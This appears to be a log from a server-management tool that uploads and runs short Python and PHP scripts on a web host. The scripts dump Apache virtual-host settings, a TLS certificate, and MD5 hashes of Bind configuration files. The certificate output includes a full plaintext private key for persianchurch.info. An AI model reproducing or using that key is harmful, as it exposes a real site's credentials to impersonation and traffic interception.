         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-26 13:37:13: 

PUT: /tmp/pkp956392

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/persianchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-26 13:37:14: 

chmod 755 /tmp/pkp956392; /tmp/pkp956392; rm /tmp/pkp956392

2026-02-26 13:37:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-26 13:37:14: 

PUT: /tmp/pkp340766

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-26 13:37:15: 

chmod 755 /tmp/pkp340766; /tmp/pkp340766; rm /tmp/pkp340766

2026-02-26 13:37:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt	5386
1d:51:1c:5a:75:27:ce:00:0d:20:57:59:90:95:68:21

-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBixrK4upxFF6Et2MggePljMMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjI2MTIzODMwWhcNMjYwNTI3MTIzODI5WjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCceyePbQfMv/m5TnJvG9Ngi9XZKOcg82tZUGDsl65XAlDH6LPF9IVVYLS/
/dR+feaCizesMSFktV3nTTCrDZd7jNlT/2rlUBcfeV6ZuGLaTLLlqL38c4cKN8PB
t6X2IXO43haWThiJ1quqFuJFXeuP3hL7Yrkvnkdybnvy8n2Jj7JqcRdrzoqWY/I2
0TzM6GnisAJUZ9KnSq/8e/U9k9KwBXbmIdrJctmae2dpkG5/aVek1yNUyHpL9mvR
axhExPvGjerpZB1WnG5ocB++c2azr4vTe/IP0PqkLJgPcz6EjfiTm0iOB6UaZNQe
EqwL/zwGsPWb27I5CefFc8BppokNAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
io6E8P/azID5IIlPatOKYP8N1MIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJwZXJzaWFuY2h1cmNoLmluZm+CFnd3dy5w
ZXJzaWFuY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMy5jcmwwggEOBgorBgEE
AdZ5AgQCBIH/BIH8APoAfwBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh
4gAAAZyaKskYAAgAAAUACmMEjwQDAEgwRgIhAI+4xan0J8BmBIJzdV6ErSY7XI5P
Euw3E25B2leSwnniAiEAzWV3KmJ7hLKt4Mj0Vm6s16XXBvjPr8L4/zuALcooVtUA
dwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZyaKtBmAAAEAwBI
MEYCIQDe69Guvls/MbvhIhfq+4TWXgJnKbrTUddCJjykmTf2QwIhALuvsLLAkmgK
5jxSmIhpzF3ZMfcKq9816zHE017s7YbyMA0GCSqGSIb3DQEBCwUAA4IBAQCL6//+
yAdpYMF98LywDkA5rk/h+0WTpQHk92RjNaFRzkTFGZIBJc/YsbjAHDjhyns/2GFd
E7PAdN8m78MH0kbedXAfNAOqWfBicd3LRBMK7HRFUAoROmyZ6ToJKUWy9D8swSax
uD/sdlidaU9v1XtVYwxSbWRaA4XgCgneETfrE6pJT8NFWKF1ODXq8M3Br3VYlG0H
OoWLP1GyBSnG8JzMEvAQy6COqUddKeZCmGvudnaBnIcpkCC8pk7IIxq/Fb8HByoJ
WKCtCQ/btG0cwG7dQuitEsQ46MZlWu7XBSH7fj4eiqWlWioTn6DIbVEKPpev3Yjy
EnN3pujAiZcyUT9P
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCceyePbQfMv/m5
TnJvG9Ngi9XZKOcg82tZUGDsl65XAlDH6LPF9IVVYLS//dR+feaCizesMSFktV3n
TTCrDZd7jNlT/2rlUBcfeV6ZuGLaTLLlqL38c4cKN8PBt6X2IXO43haWThiJ1quq
FuJFXeuP3hL7Yrkvnkdybnvy8n2Jj7JqcRdrzoqWY/I20TzM6GnisAJUZ9KnSq/8
e/U9k9KwBXbmIdrJctmae2dpkG5/aVek1yNUyHpL9mvRaxhExPvGjerpZB1WnG5o
cB++c2azr4vTe/IP0PqkLJgPcz6EjfiTm0iOB6UaZNQeEqwL/zwGsPWb27I5CefF
c8BppokNAgMBAAECggEAICoUXJ/drZF8ZEGitgHzNfIoV8XXlGdUlnw2IAuhk1Lv
hdfoM/Vp/r2tCZXEOufoHMc+/07t/URmc+fi7BYUIBo4hdKHh3Ep/5c0Acbr0tFX
KGvB+YVJqakCvOvh2jDQF5zW6bhNxO9yQ7kGc5m1lNHh9vg49nfDWdsp8Ss08LRd
f4eP5myEHTsSPwcVH/3SQsWnVf1lLOkM5naGobCM/c4xloiu+e+idkzdBIn2IezL
vOf5NsQWKINK5EiHubXwaAyr8wvwaNZCjMLdVvDOEtULY9XY/W28CrlXpHKh24dc
+x2T0wSv47cT/64YfuJ7+IAjT/DcAI685QGe20bywQKBgQDKleVHMOdaltP9dSJF
OdTvVRHP6bCG/TcW7fbjwyBnZilPmsLjZ84H8odg9XT6Hz1VIM+ZknjRiSlS9Wyp
jIM8nNORNINjzXHtcXlh0PprVqzNSm+Nf+qOQeIOFyJZveqVoJutRWTo6FrFL8Ha
hJsgTy6tV8cYJXpoGlxViA2eMQKBgQDFvU2psNBL9SnqaqishvPjvzNRTgaADU9e
TmcFgHi6Kp0+VQnqKXnc43eGflALWAomx9cm9pqXtAH1PD1y6j4/cFNUtsLmLhFz
DbQX/YJP/nvQLFMNXhPQgZVGHIgwWdZdLpVu/lvyojghAhPtUBJH3OgDW1GfxQXY
fzOyn1qVnQKBgAh9A2BaQjdffn5uPANeiveEPvzRM95UGczSJ7gfYuoyM6TsPSI+
JTncBaQgZMheKrm4aDptErbk4mBhfC4WfyE5CPxakO7LmuxyBr38faGlvhPT/JyX
MYLIa+pfOcc81+lxE1TNRY8kvTjp6Vt4lu9hofkNZoAygdB+2kOTMc7hAoGAYY8K
WCRiQHeO3JcO7UAP6FeXLBAA6QCoHfE0puRBrCgGOJCgOaWI+FBJ0lNTjqU7LPL/
1btpfltTc/jqoF2tpIL4uh0Jf6NO/KLQLd3ngywdThHwT/IQeJjWWycMkj5gosyu
8XoRR159rttllXoh6s60saNGXDtKrQvlJ8WzXYkCgYEAwwr4xwYqhkHj3CRtaOZW
rv47PFLoerq47YgTwTz1iaKX51bFOoNsTJ4u/p8AP+wjjkUeeHKvHse8wIeWRdXi
zMS4tA0UAMgQHoX4EGazRXmaVVxOTtkbf7Dop9xb45VpCiZ4ooMv0EVWfc8iC1wF
hWU79FNH6b2xlSpUcQSkvM4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-26 15:26:36: Establishing a connection
2026-02-26 15:26:53: Establishing a connection
2026-02-26 15:26:53: 

PUT: /tmp/pkp934056

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-26 15:26:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp934056; rm /tmp/pkp934056'

2026-02-26 15:26:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
